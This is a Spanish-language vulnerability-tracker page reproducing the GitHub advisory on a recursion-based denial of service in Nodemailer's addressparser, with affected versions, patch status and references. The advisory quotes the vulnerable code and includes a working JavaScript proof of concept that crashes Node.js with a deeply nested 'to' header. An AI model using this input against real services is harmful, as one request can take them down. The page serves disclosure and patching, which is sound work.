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Advisory · GitHub · npm · nodemailer

GHSA-RCMH-QJQH-P98V

Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

Sin parche publicado
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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición352 dDesde la divulgación, 1 dic 2025, 3:44 p. m.
Detección350 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 7.0.11
Monitoreo
Detectada
26 nov 25
1 dic 25
10 sept 26
17 nov 26
19 nov 26
26 nov 25
24 feb 26
24 may 26
22 ago 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 7.0.11 nodemailer · -5 d desde divulgación
Divulgación Publicada GHSA-RCMH-QJQH-P98V divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
A DoS can occur that immediately halts the system due to the use of an unsafe function.

### Details
According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.
At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:


Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
```js
if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

### Impact
The attacker can achieve the following:

  1. Force an immediate crash of any server/service that uses Nodemailer
  2. Kill the backend process with a single web request
  3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
org.webjars.npm:nodemailer≥ 3.0.0 ≤ 6.10.1
nodemailer≥ 3.0.0 < 7.0.11
3.0.0
6.10.1
7.0.11
10.6.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmnodemailer
Corregida 7.0.11 -5 d 10.6.0 no afectada
mavenorg.webjars.npm:nodemailer
Sin parche — — 6.10.1 afectada
Versiones corregidas7.0.11
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-14874
Otrahttps://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v
Otrahttps://github.com/nodemailer/nodemailer/commit/6218b8df
Otrahttps://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150
Otrahttps://access.redhat.com/security/cve/CVE-2025-14874
Otrahttps://bugzilla.redhat.com/show_bug.cgi?id=2418133
Otrahttps://github.com/nodemailer/nodemailer

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